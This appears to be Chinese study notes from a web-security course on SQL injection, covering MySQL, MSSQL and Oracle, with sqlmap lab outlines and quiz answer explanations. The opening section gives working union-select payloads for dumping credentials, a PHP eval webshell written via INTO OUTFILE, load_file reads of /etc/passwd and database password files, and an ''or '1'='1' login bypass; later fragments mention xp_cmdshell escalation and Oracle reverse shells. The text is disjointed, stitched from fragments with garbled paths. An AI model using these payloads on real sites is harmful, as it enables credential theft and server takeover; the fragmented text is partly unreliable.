and 1=2 Union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=表名(十六进制)limit 0,1
暴密码
and 1=2 Union select 1,2,3,用户名段,5,6,7,密码段,8,9 from 表名 limit 0,1
高级用法(一个可用字段显示两个数据内容):
Union select 1,2,3concat(用户名段,0x3c,密码段),5,6,7,8,9 from 表名 limit 0,1
直接写马(Root权限)
条件:1、知道站点物理路径
2、有足够大的权限(可以用select …. from mysql.user测试)
3、magic_quotes_gpc()=OFF
select ‘<?php eval_r($_POST[cmd])?>' into outfile ‘物理路径'
and 1=2 union all select 一句话HEX值 into outfile '路径'
load_file() 常用路径:
1、 replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 “<” 替换成”空格” 返回的是网页.而无法查看到代码.
3、 load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
4、/etc tpd/conf tpd.conf或/usr/local/apche/conf tpd.conf 查看linux APACHE虚拟主机配置文件
5、c:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf 查看WINDOWS系统apache文件
6、c:/Resin-3.0.14/conf/resin.conf 查看jsp开发的网站 resin文件配置信息.
7、c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
8、d:\APACHE\Apache2\conf\httpd.conf
9、C:\Program Files\mysql\my.ini
10、../themes/darkblue_orange/layout.inc.php phpmyadmin 爆路径
11、 c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置文件
12、 /usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
13、 /usr/local/resin-pro-3.0.22/conf/resin.conf 同上
14 、/usr/local/app/apache2/conf/extra tpd-vhosts.conf APASHE虚拟主机查看
15、 /etc/sysconfig/iptables 本看防火墙策略
16 、 usr/local/app/php5 b/php.ini PHP 的相当设置
17 、/etc/my.cnf MYSQL的配置文件
18、 /etc/redhat-release 红帽子的系统版本
19 、C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码
20、/etc/sysconfig/network-scripts/ifcfg-eth0 查看IP.
21、/usr/local/app/php5 b/php.ini //PHP相关设置
22、/usr/local/app/apache2/conf/extra tpd-vhosts.conf //虚拟网站设置
23、C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
24、c:\windows\my.ini
25、c:\boot.ini
网站常用配置文件 config.inc.php、config.php。load_file()时要用replace(load_file(HEX),char(60),char(32))
注:
Char(60)表示 <
Char(32)表示 空格
手工注射时出现的问题:
当注射后页面显示:
Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
如:/instrument.php?ID=13 and 1=2 union select 1,load_file(0x433A5C626F6F742E696E69),3,4,user()
这是由于前后编码不一致造成的,
解决方法:在参数前加上 unhex(hex(参数))就可以了。上面的URL就可以改为:
/instrument.php?ID=13 and 1=2 union select 1,unhex(hex(load_file(0x433A5C626F6F742E696E69))),3,4,unhex(hex(user()))
\x00
\n
\r
\
’
"
\x1a
单引号(')
双引号(")
反斜杠(\)
NULL
提示:
可用于 为存储 在 数据库 中的 字符串以及数据库查询语句 准备字符串。
注释:
PHP 对所有的 GET、POST 和 COOKIE 数据自动运行 addslashes()。
所以您不应对已转义过的字符串使用 addslashes(),因为这样会导致双层转义。
遇到这种情况时可以使用函数 get_magic_quotes_gpc() 进行检测。
预定义的字符是:
& (和号) 成为 &
" (双引号) 成为 "
' (单引号) 成为 '
< (小于) 成为 <
> (大于) 成为 >
注释:该函数始终会剥离 HTML 注释。这点无法通过 allow 参数改变。
注释:该函数是二进制安全的。
——md5() 函数计算字符串的 MD5 散列。
——md5() 函数使用 RSA 数据安全,包括 MD5 报文摘要算法。
——sha1() 函数计算字符串的 SHA-1 散列。
——sha1() 函数使用美国 Secure Hash 算法 1
——函数用于获取变量的整数值。
——通过使用指定的进制 base 转换(默认是十进制)
返回变量 var 的 integer 数值。
—— intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。
0.5 ---->延时2s
一般延时注入 要比 联合注入 通用性好
访问敏感页面
监控数据库
查找执行出处函数 方法
监控 出处 处 变量
追踪变量 是否过滤
sql是否存在
关键字搜索 ——任何漏洞挖掘 比较常用
数据库监控—— 类似于 SQL注入这种相应
web安全工程师-01-SQL注入漏洞原理与利用
1998 年 至今 20多年 了
爆出 sql 注入 导致 大量数据泄露
发现问题 —> 规避 sql注入 带来的 风险
研究 web框架 能 使我们 更熟悉 框架审计 中 注入的 原理
B/S 架构 开始 的时候 数据库 和网站 在同一台服务器 上
webapp 网站 放在 容器里
容器和数据库 软件 安装在 操作系统里
逻辑对 数据库的操作 来实现 网站功能
之后 互联网技术 发展
大量数据 大量请求 需要 web应用来处理
集群效果
部分漏洞 需要 tomcat环境
WAMP 一款windows系统下的Apache+PHP+Mysql集成环境整合包
工程配置信息 路径等
windows 和 linux 换行符 不一样 导致 记事本不换行
不同难度级别
Linux docker 安装 sqli labs
docker images
docker search sqli-labs
docker pull acgpiano/sqli-labs
docker run -dt --name sqli -p 80:80 --rm acogiano/sqli-labs
后台运行
再命名
本地:docker 端口 —端口映射
创建 清理镜像
边看代码 边学习 注入
注意 返回 长度 select 1,version()
docker exec -it xxxname /bin/bash
用1 来 占位
登陆处 注入 构造 万能密码
'or '1'='1
时间延时注入
页面爬取 动态链接 去依次 注入 测试
这种 更适用于 有 登陆验证授权 或 cookie 的 案例
从 sql命令 往上找 反向
GET POST 用户数据 正向
flask路由 对 用户 输入 地址识别
进入不同方法 进行处理
直接用 form表单
validate 有效性判断 password 没有做处理
获取到数据
直接 insert 添加到 数据库中
username 做了 正则匹配 也没办法
email 邮箱 注册 验证
邮箱 没有对 输入内容 进行验证
构造 payload
Microsoft JET Access 数据库
mysql 5.x 存在 用数据语句 内置库 表 列 -->查询 关键数据
access 不存在 库信息
sqlserver sa权限 执行系统命令
mysql 权限 低 不能直接执行系统命令
读文件 配置文件
tomcat 管理员管理密码 部署webshell 变相提权
读取 数据库配置文件 - 账号密码
写文件 --os-shell
php-mysql 写一个 webshell 到 网站目录 执行系统命令 变相提权
sql层
特定的 语法 完成 数据库任务执行
执行结果 处理 返回 可识别信息
连接层
通讯协议 线程 验证
结构化 查询语句
授权
数据库 定义 控制 操作 查询 语言
解析器
优化器
执行器
引擎层
缓存
了解基础原理
库 xx小学
表 xx年级xx班
列 序号 学号 姓名 性别
数据 1 x x x
库 功能 操作
mysql 账户信息
sys 元数据信息
performance_schema 性能参数 参数设置 收集
information_schema 访问 元数据
1.BIN:binary,二进制的;
2.OCT:octal,八进制的;
3.HEX:hexadecimal,十六进制的;
4.DEC:decimal,十进制的。
Hash是把任意长度的输入通过散列算法变换成固定长度的输出,该输出就是散列值
信息收集
mysql 提权 不可以直接 执行 系统 命令
通过 读写文件 进行 提权
文件 php 格式 在页面 显示不出来 在源码里 可看
读 数据库 配置 密码
系统配置文件
权限文件 系统信息 注意 权限大小
写入 webshell 到 目录 提权
不能 创建 写文件
权限不够
权限 可以 就 能写入 目标目录
SQL注入漏洞可以说是在企业运营中会遇到的最具破坏性的漏洞之一,
它也是目前被利用得最多的漏洞。要学会如何防御SQL注入,
我们首先要对他的原理进行了解。
SQL注入(SQLInjection)是这样一种漏洞:
当我们的Web app在向后台数据库传递SQL语句进行数据库操作时。
如果对用户输入的参数没有经过严格的过滤处理,那么恶意访问者就可以构造特殊的SQL语句,
直接输入数据库引擎执行,获取或修改数据库中的数据。
漏洞危害:
实验环境工具介绍:
HackBar:
一款Firefox浏览器下的黑客插件
Sql注入以及Xss测试或进行各种编码功能等。
在火狐的附加组件中搜索“hackbar”,将它添加到火狐浏览器中, 重启后Firefox后安装完成,按F9键打开我们就会看到在地址栏下面会出现一个大框框就是hackbar了。
安装完后,打开火狐浏览器,在工具=》附加组件里搜索“HackBar”并安装,如下图:
重启完后,打开百度,你会发现标签栏处多了一些工具条,它就是HackBar插件,
首次打开是开启的,可以通过F9来切换工具条是否显示与隐藏。
我们可以点击Load URL将URL栏的地址加载到HackBar窗口中,
可以利用HackBar工具栏提供了很多web开发相关的命令,像urlencode,urldecode等常见命令。
实验目的:
实验工具:
SQLmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,目前支持的数据库是MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Acess,IBM DB2,SQLLite,Firebird,Sybase和SAP MaxDB……SQLmap采用几种独特的SQL注入技术,分别是盲推理SQL注入,UNION查询SQL注入,对查询和盲注。其广泛的功能和选项包括数据库指纹,枚举,数据库提取,访问目标文件系统,并在获取完全操作权限时实行任意命令。
实验内容:
本部分学习使用SQLmap进行简单的注入点判断并注入出数据。
insert update 都不可以使用 union
orderby 对第几列 进行排序
’ 闭合 单引号
–+ 注释掉 后面的 单引号
union 内部 的 select 语句 必须 有 相同的 列
union 把两个 select 结果集 结合到 一块
二分法 查询列长度
构造 非法 xpath 值
实验目的:
学习使用SQLmap工具进行注入POST类型的SQL注入点。
实验工具:
SQLmap
SQLmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,目前支持的数据库是MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Acess,IBM DB2,SQLLite,Firebird,Sybase和SAP MaxDB……SQLmap采用几种独特的SQL注入技术,分别是盲推理SQL注入,UNION查询SQL注入,对查询和盲注。其广泛的功能和选项包括数据库指纹,枚举,数据库提取,访问目标文件系统,并在获取完全操作权限时实行任意命令。
实验内容:
本次实验将使用SQLmap工具进行注入POST类型的SQL注入点。
实验目的:
学习使用SQLmap工具进行注入cookie类型的SQL注入点。
实验工具:
SQLmap
SQLmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,目前支持的数据库是MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Acess,IBM DB2,SQLLite,Firebird,Sybase和SAP MaxDB……SQLmap采用几种独特的SQL注入技术,分别是盲推理SQL注入,UNION查询SQL注入,对查询和盲注。其广泛的功能和选项包括数据库指纹,枚举,数据库提取,访问目标文件系统,并在获取完全操作权限时实行任意命令。
实验内容:
本实验将使用SQLmap工具进行注入cookie类型的SQL注入点。
答案:
1、解析: D、首先要构造语句,让正常的数据无法返回,这里选择id=-1,接着要构造显示内容,3,5,8,7,4让这些数字显示在对应位置,这里只要没用相同的数字,我们就能判断出每个数字所代表的唯一位置,从而判断出哪里回显数据。
2、解析: A、通过union select的长度,可以判断出返回数据的列,通过user(),可以直接显示当前数据的用户名,通过(select database())可以查询出当前数据库的库名称并返回。
3、解析: C、updatexml接收3个参数,第一个XML文档,第二个xpath语句,第三是要替换成为的字符串。
4、解析: C、报错注入的关键就是要显示错误语句,如果不显示,我们就不能通过报错看到内容。
5、解析: A、只要数据库触发到了报错语句,就会产生报错,并将报错信息显示到页面上。
实验目的:
学习通过SQLmap工具执行SQL命令的几种不同的方式。
实验工具:
SQLmap
SQLmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,目前支持的数据库是MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Acess,IBM DB2,SQLLite,Firebird,Sybase和SAP MaxDB……SQLmap采用几种独特的SQL注入技术,分别是盲推理SQL注入,UNION查询SQL注入,对查询和盲注。其广泛的功能和选项包括数据库指纹,枚举,数据库提取,访问目标文件系统,并在获取完全操作权限时实行任意命令。
实验内容:
学习通过SQLmap工具执行SQL命令的几种不同的方式:
1.执行指定的SQL语句
2.交互式的SQL命令行
3.执行文件中的SQL语句
单引号 反义 导致 注入失败
转成 数字 比对 避免 单引号 出现
猜解 uag
猜解 user
users 都一样
a-z 下划线 0-9
ASCII 0-127
48 - 0
122 - Z
判断 页面 返回 真与假 识别 数据库 中 的 信息
通过 返回 时间 的 快慢 来 识别 数据库 中 的 信息
没有 回显 真假
只是 构造语句 分析时长
登录场景
注入语法
公网ip:端口 ----- 对应功能
UA
User-Agent会告诉网站服务器,访问者是通过什么工具来请求的
中文名为用户代理,是Http协议中的一部分,属于头域的组成部分,
User Agent也简称UA。
它是一个特殊字符串头,是一种向访问网站提供你所使用的浏览器类型及版本、操作系统及版本、浏览器内核、等信息的标识。
通过这个标识,
用户所访问的网站可以显示不同的排版从而为用户提供更好的体验或者进行信息统计;
工程化 注入
速度快 效率高 人为参与 少
定义 查询数据 的 语句
数据库
表名
获取数据
入口处 接收 参数
答案:
1、解析: B、页面依据提交的数据,返回不同的内容,但是不回直接显示数据库中的信息,此处如果存在SQL注入,必然是盲注
2、解析: B、在所有类型的注入点,都可以使用时间盲注。
3、解析: A、依据题意可知,当前库名称的第一位的ASCII码为115,既s。
4、解析: B、load_file函数在Linux下是无法用来做dnslog攻击的。
5、解析: A、ABC都是dnslog盲注的特点。
常规 + web/mysql/php 一些方法 注入
英文 一个字节
中文 两个字节 默认
A-Z 48种
一个字节 8bit位 二进制
01组合种类 255种
一个字节 表示 中文字符 255不够
16bit来表示
安全编码 特殊符号 转义 防止 恶意注入
url编码,网址字符串
浏览器自动对中文和一些特殊字符转码,形式为:"%二位十六进制数",
代表一个字节,如果是中文是2个字节,
就需要两个%。如果没有自动转码,就要自己转,比如js中有escape和encodeURI,
在接收这样字符串的程序中如需还原成中文,就分别用unescape和decodeURI。
其他程序语言中都有相应的url字符转码函数。
使用二进制 数据库连接
各个语言 都有 自己的 解码工具类
重置数据库
windows 环境 – 其他环境 也可以 考虑 dnslog注入
linux 只能 使用 二次注入
防护:代码层、网络层、服务器层
能够注入
waf 规则 匹配不到的 数据格式
%25 为 %
sqlserver sa用户 --> 调用 SqlServer系统内置函数---->执行命令
mysql (前提知道网站所在目录)写入后门文件到目录 —>执行系统命令
执行 sql语句 -sql-shell
输入 sql 语句
读文件 + 路径
写文件 + 本地文件 --file-dest 目标及文件
\s 空白字符
\t 换行符
答案:
1、解析: C、注解:很显然,utf-8并不是宽字节。
2、解析: B、注解:键入%df,尝试于转义字符\进行组合,形成汉字字符。
3、解析: C、注解:B,使用强校验,防御所有可能的恶意语句,可以有效避免SQL注入。
4、解析: D、注解:云WAF一班都有较好的防护性能和较强的防护规则,期望构造语句进行绕过可能存在困难,我们选择寻找真实的IP,就能一劳永逸的绕过防护,当然,这也只是应用在一些场景。
5、解析: B、注解:replace函数的格式为A
绕过 注入流程 与 mysql 没什么区别
数据默认存放目录
身份验证 windows(SQLserver 不参加验证) / 混合 (或)验证
SA 是 SqlServer最高权限-超级管理员 登录需要密码
带 ## 有证书 创建 在SqlServer 内部使用
映射一个 win系统账户
NT 也是 内置账户 实现 特使功能 mssql server
两层 并行 安全架构 权限
sysadmin
public
db_owner DBO
public
master 一切对象 信息 sa 和其他账号的 密码
model 创建用户 数据库 的模板
msdb 用户数据库 任务调度 告警 操作 元信息
tempdb 临时数据库 数据库 重启 丢失
新建数据库用户
DML 管理语句
DDL 修改数据库结构
DCL 授权语句
从 视图里 查询
iis 服务器组件
添加这个控件 自动生成 ConnectionStrings 连接 需要
关闭default 这个 127.0.0.1 本地 站
localsystem 是 安装时候 的 权限 SqlServer
MSSQL(MicroSoft SQL Server数据库)
微软开发的关系型数据库管理系统DBMS
较大型的数据库
提供数据库的从服务器到终端的完整的解决方案,
数据库管理系统SSMS(SQL Server Managerment Studio),是一个用于建立、使用和维护数据库的集成开发环境。 端口号:1433
形成中间代码 存放在 数据库中
特定功能 第一次编译后直接运行 不需要再次编译
xp_cmdshell存储过程 让攻击者方便
管理员自己创建的 存储过程 审计
实现越权
… 两个 点省略 dbo 架构
与mysql 不一样的 地方
sysobjects存放 数据库中 一些对象
面向对象 思想
top 与 limit
information_schema 视图
mysql pdo 多语句查询
绕过
bulk insert 大量插入
声明变量
写入 二进制 木马
盲注 遍历 数据管理员创建的 存储过程 安全审计 很常见
数据库不安全的 配置属性
cmder
-p 加 攻击参数
添加用户
管理员
开启 远程桌面 控制
services.msc
也没法 子语句调用
后渗透 攻击 流量 转发内网
powershell 免杀 处理
tomcat搭建 eclipse
语言 和 权限结构 + 提权操作 盲注 函数
数据中心 有 很多分支
存储过程 提权
系统权限 和 对象权限 权限传递方式不一样
撤销 影响不一样
查询 必须 跟上表名 或者 dual虚拟表 对 select 语句进行补充
mysql 查询 会有 数据类型的 转换 (一种弱 匹配漏洞)
<> == !=号
web页面上 是 500 报错信息
回显时候 数据带空格 / 会导致 数据被截断 数据显示 不完全
加别的函数 把 空格 替换成 其他字符 /空
参数 类型不匹配 导致报错
错误信息 被 攻击者 发现 系统敏感数据
linux oracle 反弹 shell
引入 双引号 隔离 之前的语句
去执行 我们插入的 sql 语句
创建 一个 java 库
调用 java 虚拟机 底层函数
begin dbms_java.grant_permission
语法格式
sys dba权限 赋予 public
![在这里插入图片描述](https://img-blog.csdnimg.cn/c20de74867b640b1a7d4c1aa7